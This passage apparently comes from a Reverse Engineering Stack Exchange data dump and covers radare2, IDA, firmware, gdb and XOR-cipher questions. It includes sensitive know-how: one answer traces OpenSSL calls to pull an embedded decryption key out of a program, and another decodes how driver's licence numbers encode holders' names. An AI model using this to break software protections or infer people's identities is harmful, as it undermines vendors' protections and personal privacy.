f&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0040007e 0 obj.gdp&#xA;0x00400082 0 sym.gfh&#xA;0x0040007a 0 obj.gdi&#xA;0x0040007c 0 obj.gdh&#xA;0x00400083 0 sym.gfp&#xA;0x00400078 0 obj.gdd&#xA;0x00400081 0 sym.gfi&#xA;0x00400080 0 sym.gfd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly, &lt;code&gt;sym&lt;/code&gt; is a function and &lt;code&gt;obj&lt;/code&gt; is data. But how can I get radare to show me the visibility?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="2147" LastEditDate="2018-10-03T19:16:03.787" LastActivityDate="2018-10-03T19:16:03.787" Title="How can you get the symbol visibility with radare?" Tags="|radare2|elf|symbols|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19508" PostTypeId="2" ParentId="6440" CreationDate="2018-10-02T07:34:29.237" Score="6" Body="&lt;p&gt;In case you're still trying to figure this out, I've made some progress. With assistance from u/jccool5000 on reddit &lt;em&gt;(&lt;a href=&quot;https://www.reddit.com/r/ontario/comments/6ja9yh/ontarios_drivers_license_number_formatencoding/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt;)&lt;/em&gt;, who has a collection of over 900 samples mostly from Ontario. AFAIK, Ontario and NJ share the same encoding - Quebec, not so sure. I did some data manipulation to figure this out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with the numbers of the last name, 1st of 4 digits corresponds to the 2nd letter of the last name, as the 1st is already coded directly to the first letter of the license number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 = A&#xA;1 = B C D&#xA;2 = E&#xA;3 = F G H&#xA;4 = I J K&#xA;5 = L M N&#xA;6 = O&#xA;7 = P Q R&#xA;8 = S T&#xA;9 = U V W X Y Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The remaining three numerical digits codes the second letter of the last name as well, from 000-999. However, each second-digit has its own 000-999 range. That is to say:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hypothetical last name XA is X0001&lt;/li&gt;&#xA;&lt;li&gt;Hypothetical last name XAZZZ is X0999, or something close to 999.&lt;/li&gt;&#xA;&lt;li&gt;Hypothetical last name XB is X1001 &lt;/li&gt;&#xA;&lt;li&gt;Hypothetical last name XDZZZ is X1999, or something close to 999.&lt;/li&gt;&#xA;&lt;li&gt;Hypothetical last name XE is X2001&lt;/li&gt;&#xA;&lt;li&gt;Hypothetical last name XEZZZ is X2999, or something close to 999.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can refer to the above table to see when the 999 will reset back to 000. This is just the pattern I've found so far. I don't know how the numbers are distributed to the names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First name code is a lot simpler, but at the same time, it's also not evenly distributed. The difference with first name code is it only goes from 000 (Aaron) to probably 799 (796 for Zoe). What I mean by not evenly distributed is names that start with A range from 000 to 071, which 071 has some names that start with BA. Meanwhile, names that begin in Y are confined to a small range of no less than 785 to no more than 792.&lt;/p&gt;&#xA;" OwnerUserId="25852" LastEditorUserId="28155" LastEditDate="2019-04-15T07:34:36.823" LastActivityDate="2019-04-15T07:34:36.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19511" PostTypeId="1" CreationDate="2018-10-02T17:18:19.150" Score="0" ViewCount="1035" Body="&lt;p&gt;I have a pseudo code in IDA which is as such&lt;/p&gt;&#xA;&#xA;&lt;p&gt;consdering &lt;code&gt;v5= 3838385024767399985LL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;v1 += 53 * *((char *)&amp;amp;v5 + i);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In C-Friendly format this should be&#xA;&lt;code&gt;v1 += 53 * v5[i]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way in IDA Pro to convert the above gibberish into a nicer array style value?&lt;/p&gt;&#xA;" OwnerUserId="24761" LastActivityDate="2018-10-02T17:56:03.283" Title="How to convert IDA Pseudo code casts to Array" Tags="|ida|array|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19513" PostTypeId="2" ParentId="19511" CreationDate="2018-10-02T17:56:03.283" Score="1" Body="&lt;p&gt;If old pseudocode looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  signed int i; &#xA;  int v5; &#xA;  __int64 v6; &#xA;&#xA;  v6 = 5208208757389214273LL;&#xA;  v5 = 0;&#xA;  for ( i = 0; i &amp;lt;= 7; ++i )&#xA;    v5 += *((char *)&amp;amp;v6 + i);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Select &lt;code&gt;v6&lt;/code&gt; and press Y (&lt;code&gt;Set lvar type&lt;/code&gt; in right click context). Change from &lt;code&gt;__int64 v6&lt;/code&gt; to &lt;code&gt;char v6[8]&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  signed int i; &#xA;  int v5; &#xA;  char v6[8]; &#xA;&#xA;  *(_QWORD *)v6 = 5208208757389214273LL;&#xA;  v5 = 0;&#xA;  for ( i = 0; i &amp;lt;= 7; ++i )&#xA;    v5 += v6[i];&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-10-02T17:56:03.283" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19514" PostTypeId="5" CreationDate="2018-10-02T20:01:17.707" Score="0" Body="" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-02T20:01:17.707" LastActivityDate="2018-10-02T20:01:17.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19515" PostTypeId="4" CreationDate="2018-10-02T20:01:17.707" Score="0" Body="Refer to any programs specifically designed to be a plugin of IDA Pro." OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-10-02T20:01:17.707" LastActivityDate="2018-10-02T20:01:17.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19517" PostTypeId="1" AcceptedAnswerId="19534" CreationDate="2018-10-02T21:52:51.227" Score="5" ViewCount="981" Body="&lt;p&gt;I desperately need help figuring out the ic chips in this unit so I can view the firmware in ida pro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the unit is a roland gr-55 guitar synthesizer and i'm trying to disassemble the firmware into assembly language, but I have no info on the processor type. I have tried to analyze the firmware, which is a binary file using binwalk but wasn't able to find any info. I've also used the tool cpu_rec to see if it would give me any info and it told me it's a pic10 but I don't thinks that's accurate. I'll post pics below of the gr-55 motherboard, and the firmware , and some other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/21XAj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;R05011845 WSP&lt;/a&gt; IC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SSmKJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;R8A02021ABG&lt;/a&gt;  IC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/98xW7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;MXIC mx29lv640ebti-70g&lt;/a&gt; IC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pjjOD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;ESMT m12l128168a-azl1p10jy&lt;/a&gt; IC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.roland.com/us/support/by_product/gr-55/updates_drivers/f64a41ce-c897-4fd5-94d7-71ec8ff6f036/&quot; rel=&quot;nofollow noreferrer&quot;&gt;gr-55 firmware link&lt;/a&gt; here's the roland gr-55's firmware&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;gr-55 schematics&lt;/a&gt; here's the roland gr-55 schematics&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the R8A02021ABG could be the main cpu due to these forms &lt;a href=&quot;http://forum.pianoworld.com/ubbthreads.php/topics/2385759/roland-bk-9-internals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;(similar sythesizer internals)&lt;/a&gt;. This person seems to have some of the same ic numbers, and hes saying the R8A02021ABG is the main processor, and that it's a sh3/sh4 7700 series processor. When I go to the link for his units OS website &#xA;&lt;a href=&quot;https://www.toppers.jp/fi4-kernel.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OS website for bk9&lt;/a&gt; it tells me that the processor for that OS is a sh3 (sh 7727). It seems that ida pro does not have an option for a (sh 7727). I read another form from someone who said they also have a (sh 7727) in their unit, this website wont let me post any more links so if you type mpc500 os code in google and click link for mpc-forms.com, it's on the second page second comment down. This person says they don't make a disassembler for the (sh 7727) and reverse engineering it would be impossible     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main goal is to be able to change some things in the roland gr-55's firmware, like changing some of the names to make things easier to understand so I can make music in peace. Is what i'm trying to do even possible or am I just giving myself a headache for no reason. Sorry if the post is confusing, and for the excessive links. If anybody can give me any info I would appreciate it.  &lt;/p&gt;&#xA;" OwnerUserId="25860" LastEditorUserId="25860" LastEditDate="2018-10-03T17:32:38.393" LastActivityDate="2018-10-04T04:26:08.250" Title="Need help identifying main processor for Roland synthesizer" Tags="|ida|disassembly|assembly|decompilation|firmware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19518" PostTypeId="2" ParentId="19497" CreationDate="2018-10-03T06:36:29.153" Score="3" Body="&lt;p&gt;&lt;strong&gt;In short&lt;/strong&gt;, it is bad exec-wrapper.&#xA;Exec-wrapper is defined (for example, &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Starting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When ‘exec-wrapper’ is set, the specified wrapper is used to launch&#xA;  programs for debugging. GDB starts your program with a shell command&#xA;  of the form exec wrapper program. Quoting is added to program and its&#xA;  arguments, but not to wrapper, so you should add quotes if appropriate&#xA;  for your shell. The wrapper runs until it executes your program, and&#xA;  then GDB takes control.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can use any program that eventually calls execve with its&#xA;  arguments as a wrapper. Several standard Unix utilities do this, e.g.&#xA;  env and nohup. Any Unix shell script ending with exec &quot;$@&quot; will also&#xA;  work.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, you can use env to pass an environment variable to the&#xA;  debugged program, without setting the variable in your shell’s&#xA;  environment:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(gdb) set exec-wrapper env 'LD_PRELOAD=libtest.so' (gdb) run This&#xA;  command is available when debugging locally on most targets, excluding&#xA;  DJGPP, Cygwin, MS Windows, and QNX Neutrino.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, your shell script doesn't fit &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Any Unix shell script ending with exec &quot;$@&quot; will also&#xA;  work.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and therefore will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Some explanations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the start, some definitions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;gdb&lt;/strong&gt; is a debugger, we all know what it does mean. It is written on a base of  &lt;a href=&quot;http://man7.org/linux/man-pages/man2/ptrace.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ptrace&lt;/a&gt; system call, which allows (among other functionality) to debug &#xA;and intercept system calls of the &quot;child process&quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;child process&lt;/strong&gt; is a process created by the parent process by usage of &lt;a href=&quot;https://linux.die.net/man/2/fork&quot; rel=&quot;nofollow noreferrer&quot;&gt;fork&lt;/a&gt; or clone and &lt;a href=&quot;https://linux.die.net/man/2/execve&quot; rel=&quot;nofollow noreferrer&quot;&gt;execve&lt;/a&gt; system call, which can be intercepted by ptrace.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;exec-wrapper&lt;/strong&gt; is an execution wrapper in gdb (see the quote before). It is needed for customizing environment of the execution, see the documentation for it &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Starting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.    &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://linux.die.net/man/1/env&quot; rel=&quot;nofollow noreferrer&quot;&gt;env&lt;/a&gt;&lt;/strong&gt; - is a program for modifying the execution environment, for example from environment variables point of view (by the way, env -i means no environment variables at all)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If gdb intercepts the execve system call of the debugged process with ptrace (as far as I understand it should do it this way), it can not find your executable name in the system call parameters (because it is directly encoded into your script) and therefore not performs setting the breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-10-03T06:36:29.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19520" PostTypeId="2" ParentId="19507" CreationDate="2018-10-03T08:59:31.350" Score="5" Body="&lt;p&gt;afaik, Symbol Visibility is not available in radare2.&#xA;The closest to this you can get are the symbol bindings and types. You can do this with the &lt;code&gt;is&lt;/code&gt; command which is responsible for showing symbols.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /bin/echo&#xA; -- What do you want to debug today?&#xA;[0x00401800]&amp;gt; is&#xA;[Symbols]&#xA;050 0x00007228 0x00607228 GLOBAL    OBJ    8 stdout&#xA;051 0x00007220 0x00607220 GLOBAL    OBJ    8 program_invocation_short_name&#xA;052 0x00007230 0x00607230   WEAK    OBJ    8 __progname_full&#xA;053 0x00007230 0x00607230 GLOBAL    OBJ    8 __progname_full&#xA;054 0x00007220 0x00607220   WEAK    OBJ    8 program_invocation_short_name&#xA;055 0x00007240 0x00607240 GLOBAL    OBJ    8 stderr&#xA;001 0x00001070 0x00401070 GLOBAL   FUNC   16 imp.__uflow&#xA;002 0x00001080 0x00401080 GLOBAL   FUNC   16 imp.getenv&#xA;003 0x00001090 0x00401090 GLOBAL   FUNC   16 imp.free&#xA;...&#xA;026 0x00001200 0x00401200 GLOBAL   FUNC   16 imp.calloc&#xA;027 0x00001210 0x00401210 GLOBAL   FUNC   16 imp.strcmp&#xA;028 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__&#xA;029 0x00001220 0x00401220 GLOBAL   FUNC   16 imp.memcpy&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also print it in a formatted Json format by appending &lt;code&gt;j~{}&lt;/code&gt; to the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00401800]&amp;gt; isj~{}&#xA;[&#xA;  {&#xA;    &quot;name&quot;: &quot;stdout&quot;,&#xA;    &quot;demname&quot;: &quot;&quot;,&#xA;    &quot;flagname&quot;: &quot;obj.stdout&quot;,&#xA;    &quot;ordinal&quot;: 50,&#xA;    &quot;bind&quot;: &quot;GLOBAL&quot;,&#xA;    &quot;size&quot;: 8,&#xA;    &quot;type&quot;: &quot;OBJ&quot;,&#xA;    &quot;vaddr&quot;: 6320680,&#xA;    &quot;paddr&quot;: 29224&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;program_invocation_short_name&quot;,&#xA;    &quot;demname&quot;: &quot;&quot;,&#xA;    &quot;flagname&quot;: &quot;obj.program_invocation_short_name&quot;,&#xA;    &quot;ordinal&quot;: 51,&#xA;    &quot;bind&quot;: &quot;GLOBAL&quot;,&#xA;    &quot;size&quot;: 8,&#xA;    &quot;type&quot;: &quot;OBJ&quot;,&#xA;    &quot;vaddr&quot;: 6320672,&#xA;    &quot;paddr&quot;: 29216&#xA;  },&#xA;  {&#xA;    &quot;name&quot;: &quot;__progname_full&quot;,&#xA;    &quot;demname&quot;: &quot;&quot;,&#xA;    &quot;flagname&quot;: &quot;obj.__progname_full&quot;,&#xA;    &quot;ordinal&quot;: 52,&#xA;    &quot;bind&quot;: &quot;WEAK&quot;,&#xA;    &quot;size&quot;: 8,&#xA;    &quot;type&quot;: &quot;OBJ&quot;,&#xA;    &quot;vaddr&quot;: 6320688,&#xA;    &quot;paddr&quot;: 29232&#xA;  },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-10-03T08:59:31.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19523" PostTypeId="1" CreationDate="2018-10-03T16:32:23.700" Score="0" ViewCount="851" Body="&lt;p&gt;There are some files (drivers) that are encrypted, and these files are working in a program that is installed in my computer. The program using these files needs to decrypt them. I am sure that the private key and passphrase are stored inside the program in my computer. Meanwhile, there is no file for the private key! Everything is stored inside the program. I know that the program for decrypting those files is using OpenSSL libraries (Libeay32.dll).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: How can I capture the passphrase and private key that are stored in the program?&lt;/p&gt;&#xA;" OwnerUserId="25861" LastEditorUserId="2147" LastEditDate="2018-10-03T20:43:38.677" LastActivityDate="2018-10-03T21:03:58.563" Title="how to find private Key and passphrase stored inside a program?" Tags="|windows|encryption|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19524" PostTypeId="1" AcceptedAnswerId="19526" CreationDate="2018-10-03T19:32:07.007" Score="3" ViewCount="444" Body="&lt;p&gt;I am trying to modify a save file for a game.  I think it is using an XOR cipher to encrypt it.  Looking though the disassembly I think I found the function that decrypts it.  I ran the assembly through a decompiler to get a better grip on what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a C# programmer with some knowledge of C/C++.  I generally understand what is accomplished by this code, but there are some details I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall DecryptBuffer(unsigned __int8 *a1, int a2, int a3, unsigned int a4, int a5)&#xA;{&#xA;  unsigned __int8 *v5;&#xA;  unsigned __int8 *v6;&#xA;  int result;&#xA;  int v8;&#xA;&#xA;  v5 = a1;&#xA;  v6 = &amp;amp;a1[a2];&#xA;  result = a5;&#xA;  v8 = a5 - (_DWORD)v5;&#xA;  while ( v5 != v6 )&#xA;  {&#xA;    result = *v5 ^ *(unsigned __int8 *)(a3 + (unsigned int)&amp;amp;v5[v8] % a4);&#xA;    *v5++ = result;&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It accepts as parameters:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;a1&lt;/code&gt; - a byte array&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a2&lt;/code&gt; - the length of the array&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a3&lt;/code&gt; - &lt;code&gt;0xB19D425B&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a4&lt;/code&gt; - &lt;code&gt;0x107&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;a5&lt;/code&gt; - &lt;code&gt;0x00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First, I can't figure out the value of &lt;code&gt;v8&lt;/code&gt;.  I don't know what &lt;code&gt;(_DWORD)v5&lt;/code&gt; means, or why it is subtracted from zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I don't know what &lt;code&gt;(unsigned int)&amp;amp;v5[v8]&lt;/code&gt; is actually doing.  I take it to mean it is looking up a byte somewhere in the array, but is it retrieving a single byte and casting to an uint, or four bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_301E44&#xA;PUSH.W          {R4-R8,LR}&#xA;MOV             R4, R0&#xA;ADDS            R6, R0, R1&#xA;LDR             R0, [SP,#0x18+arg_0]&#xA;MOV             R7, R2&#xA;MOV             R8, R3&#xA;SUBS            R5, R0, R4&#xA;loc_301E54&#xA;CMP             R4, R6&#xA;BEQ             locret_301E6C&#xA;ADDS            R0, R5, R4&#xA;MOV             R1, R8&#xA;BL.W            __aeabi_uidivmod&#xA;LDRB            R0, [R4]&#xA;LDRB            R3, [R7,R1]&#xA;EORS            R0, R3&#xA;STRB.W          R0, [R4],#1&#xA;B               loc_301E54&#xA;locret_301E6C&#xA;POP.W           {R4-R8,PC}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the function that calls the above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH            {R0-R2,LR}&#xA;MOVS            R3, #0&#xA;LDR             R2, =(dword_8749EF - 0x301E80)&#xA;STR             R3, [SP,#0x10+var_10]&#xA;MOVW            R3, #0x107&#xA;ADD             R2, PC  ; dword_8749EF&#xA;BL              sub_301E44&#xA;ADD             SP, SP, #0xC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25870" LastEditorUserId="25870" LastEditDate="2018-10-04T00:04:34.480" LastActivityDate="2018-10-04T00:04:34.480" Title="Need help understanding XOR cipher" Tags="|c++|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19525" PostTypeId="1" AcceptedAnswerId="19527" CreationDate="2018-10-03T20:00:42.437" Score="1" ViewCount="510" Body="&lt;p&gt;I have this Asm from a book that suppose to do a Boolean cast: &lt;code&gt;rax := rax ? 1 : 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. neg      rax&#xA;2. sbb      rax,rax&#xA;3. neg      rax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as i understand this code and the instructions (below), this would work&#xA;only if the register will have 0 in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because lets assume that (register have some positive number in it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = 9    ;initial register&#xA;rax = -9   ;after line 1&#xA;rax = -17  ;after line 2&#xA;rax = 17   ;after line 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;register have 0 in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rax = 0    ;initial register&#xA;rax = 0    ;after line 1&#xA;rax = 0    ;after line 2&#xA;rax = 0    ;after line 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that the author meant to do &lt;code&gt;add&lt;/code&gt; in line 2 instead of &lt;code&gt;sbb&lt;/code&gt; am i correct?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Instruction explanations: &#xA;  neg instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;neg Destination      ;Destination = -Destination      &#xA;if(Destination == 0)&#xA;  CF = 0;&#xA;else &#xA;  CF = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;sbb instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sbb Destination, Source      ;Destination = Destination - (Source + CF);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23011" LastActivityDate="2018-10-03T20:25:54.113" Title="Explanation of SBB instruction" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19526" PostTypeId="2" ParentId="19524" CreationDate="2018-10-03T20:14:58.113" Score="3" Body="&lt;p&gt;&lt;code&gt;(_DWORD)v5&lt;/code&gt; is simply casting the &lt;code&gt;__int8*&lt;/code&gt; pointer to &lt;code&gt;_DWORD&lt;/code&gt;. Decompilations tend to be quite messy if you don't fix variable types, so let's ignore types for a moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand the value of v8, substitute it into the expression bellow: &#xA;&lt;code&gt;&amp;amp;v5[a5 - v5_old]&lt;/code&gt;. We can also understand this as &lt;code&gt;v5 + a5 - v5_old&lt;/code&gt;. &lt;code&gt;v5&lt;/code&gt; is being incremented with each iteration of the loop, so the above expression is basically the current index plus &lt;code&gt;a5&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current index plus &lt;code&gt;a5&lt;/code&gt; modulo &lt;code&gt;a4&lt;/code&gt; (presumably the length of the buffer pointed to by &lt;code&gt;a3&lt;/code&gt;) is then added to &lt;code&gt;a3&lt;/code&gt; and the corresponding byte is XOR'd to the byte currently pointed to by &lt;code&gt;v5&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my take on the algorithm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void DecryptBuffer ( char *buffer, int buffer_len, char *key, int key_len, int key_start )&#xA;{ &#xA;    int i;&#xA;    for ( i = 0; i &amp;lt; buffer_len; i++ )&#xA;        buffer [ i ] ^= key [ ( key_start + i ) % key_len ];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in other words, XOR with the key repeating over and over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite standard, so it's probably right, but it could be wrong—as I said, the decompilation is quite messy. If you want a sure answer, either clean it up by fixing variable types or post the disassembly as well. &lt;/p&gt;&#xA;" OwnerUserId="24983" LastActivityDate="2018-10-03T20:14:58.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19527" PostTypeId="2" ParentId="19525" CreationDate="2018-10-03T20:25:54.113" Score="1" Body="&lt;p&gt;SBB: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Destination = Destination - (Source + CF);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-9 - ( -9 + 1 ) = -9 - ( -8 ) = -9 + 8 = -1, not -17&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24983" LastActivityDate="2018-10-03T20:25:54.113" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19528" PostTypeId="2" ParentId="19523" CreationDate="2018-10-03T21:03:58.563" Score="1" Body="&lt;p&gt;First of all, it is quite unlikely that the key has a passphrase. Passphrases are used to defend against stolen key assets, but since the key asset is embedded inside the program together with any passphrase, this is redundant. Therefore I will not assume there's a passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, to your main question. &lt;code&gt;libeay32.dll&lt;/code&gt; exports many encryption related functions, and those are presumably used by said program. Without any more specifics, I'd suggest you search for the functions imported into the program from &lt;code&gt;libeay32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the algorithm used (my first bet would be AES) to decrypt the files, several different functions will be called. The one you're interested in, that loads / initializes a key, a common such API is &lt;a href=&quot;https://www.openssl.org/docs/manmaster/man3/EVP_CIPHER_CTX_new.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;EVP_CIPHER_CTX_new&lt;/code&gt;&lt;/a&gt; which allocates a new &lt;em&gt;symmetric&lt;/em&gt; encryption/decryption context, which will then be used in a function such as &lt;a href=&quot;https://www.openssl.org/docs/man1.1.0/crypto/EVP_DecryptInit_ex.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;EVP_DecryptInit&lt;/code&gt; or &lt;code&gt;EVP_DecryptInit_ex&lt;/code&gt;&lt;/a&gt; which will actually accept the &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;iv&lt;/code&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without reviewing the APIs imported, it is quite hard to list the possible key-initialization functions you may be looking for. For example, &lt;a href=&quot;https://www.openssl.org/docs/manmaster/man3/EVP_PKEY_decrypt_init.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;EVP_PKEY_decrypt_init&lt;/code&gt;&lt;/a&gt; will be an equivalent function used for public key decryption (which could also be used in your case, if for some  reason author decided to use asymmetric cryptography).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you identify the key initialization function, this should be a matter of tracking the values put into the &lt;code&gt;key&lt;/code&gt; and &lt;code&gt;iv&lt;/code&gt; parameters. A hardcoded string will be easy to find while a more complex key-generation flow (maybe using a hash function?) could be used. In the case of file decryption, it is unlikely that the key is not 